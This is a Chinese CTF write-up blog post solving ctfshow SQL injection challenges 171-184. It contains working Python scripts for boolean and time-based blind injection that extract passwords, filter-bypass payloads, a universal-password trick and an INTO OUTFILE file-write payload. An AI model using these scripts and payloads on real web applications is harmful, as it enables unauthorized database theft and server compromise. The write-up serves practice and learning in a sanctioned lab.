ctfshow_sql


wp

171-173

之前做的,比较简单,不写了

174

在页面上很难看到有用的信息,通过抓包才能发现真实的注入点:

发现union不行,使用了布尔盲注:

import requests
mark ='admin'
all=''
url='http://4b2d9799-6f45-47bb-ba31-af08c72ba8c9.challenge.ctf.show:8080//api/v4.php?id=1"\' '
i=0
while True:
    i=i+1
    head=32
    tail=127
    #相等时跳出循环
    while head < tail:
        mid = (head+tail)//2
        # urlAll=url+'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\'ctfshow_web\' and table_name=\'ctfshow_user4\'),%d,1))>%d --+'%(i,mid)
        # urlAll =url+'and ascii(substr((select  group_concat(password) from ctfshow_user4),%d,1))>%d --+'%(i,mid)
        urlAll =url+'and ascii(substr((select  password from ctfshow_user4 limit 24,1),%d,1))>%d --+'%(i,mid)
        r=requests.get(urlAll)
        if mark in r.text:
            head=mid+1
        else:
            tail=mid
    if head != 32:  #出现空格则结束
        all += chr(head)
    else:
        break
    print(all)

175

和上一题很像,但是无论id为几都没有回显,尝试使用时间延时注入http://bd3c2394-573e-463e-9610-0cb4c0568205.challenge.ctf.show:8080//api/v5.php?id=1"' and if(1=1,sleep(3),1) --+,成功,用脚本跑就完了

"""
时间盲注二分法
"""
import requests
import time
all=''
url='http://20896752-5147-40d5-9310-662f7f85bce8.challenge.ctf.show:8080/api/v5.php?id=1"\' '
i=0
while True:
    i=i+1
    head=32
    tail=127
    #相等时找到字符跳出循环
    while head < tail:
        mid = (head+tail)//2
        urlAll=url+'and if((ascii(substr((select password from ctfshow_user5 limit 24,1),%d,1))>%d),sleep(2),0) --+'%(i,mid)
        # time1=time.time()
        # try:
        #     requests.get(urlAll)
        # except requests.exceptions.ConnectionError:
        #     pass
        # time2=time.time()
        # if time2-time1 >=1.5:
        #     head=mid+1
        # else:
        #     tail=mid
        try:
            requests.get(urlAll,timeout=1.1)
            tail=mid
        except Exception as e:
            head=mid+1
            pass
    if head != 32:  #出现空格则结束
        all += chr(head)
    else:
        break
    print(all)

看见别人的wp还可以用文件读写来进行,尝试了一下

http://20896752-5147-40d5-9310-662f7f85bce8.challenge.ctf.show:8080/api/v5.php?id=1"' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

可行,但也需要知道该根目录以及库,表,字段名

176

两种方法,首先在页面尝试,可以看见对union,select等有过滤,大小写即可绕过

也可以or 1=1万能密码绕过

177

过滤了空格,用/**/即可绕过

这是万能密码直接就出来,应该是非预期,正常情况用union也能出来的

178

还是过滤的空格,但用/**/绕不过,用%0c绕过即可

还是可以直接万能密码,也可以union,

179

和上一题一样的payload即可,也不知道他过滤了些啥

180

过滤了注释符,使得无法闭合,这种时候就要使用别的方法来使其闭合了

select * from xxx where id ='$_GET[id]'limit1,1

那么可以使用这样的方式闭合:?id=1' or '这样语句就成了:

select * from xxx where id ='1' or''limit1,1

在’1’和or之间再使用语句进行注入当使用:

-1'%0cor%0c1=1%0cor'时有回显,但不能像之前一样得到flag了但我们知道flag的id是26,所以:

181

过滤了几乎所有空白的绕过,过滤了很多,select也不能用,那么通过括号来规避空格即可

182

和上一题一样

183

过滤比较多,回显传的表名中pass的数量作为回显,以此为盲注的基础,我们构造tableName=ctfshow_user,可以看见user_count=22,所以用脚本跑出来:

import requests

flag=""
option="$user_count = 1;"
url="http://cee865ed-11d4-45ef-a869-bef20eaea5b2.challenge.ctf.show:8080/select-waf.php"
i=0
while True:
    i+=1
    for j in r'0123456789abcdefghijklmnopqrstuvwxyz{}-':
        payload={
            "tableName":"(ctfshow_user)where(substr(pass,%d,1))like'%s'"%(i,j)
            }
        r=requests.post(url,data=payload).text
        if option in r:
            flag+=j
            print(flag)
            break

这个脚本跑出来有一些问题,flag格式有问题,因为pass中有别的项造成了干扰,但勉强能用,改一下格式就行,或者稍微改改脚本:

前面的改成ctfshow即可,想改可以把substr改成left,用字符串来做匹配,我反正能用就行

184


文章作者: 0xahh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xahh !
评论
  目录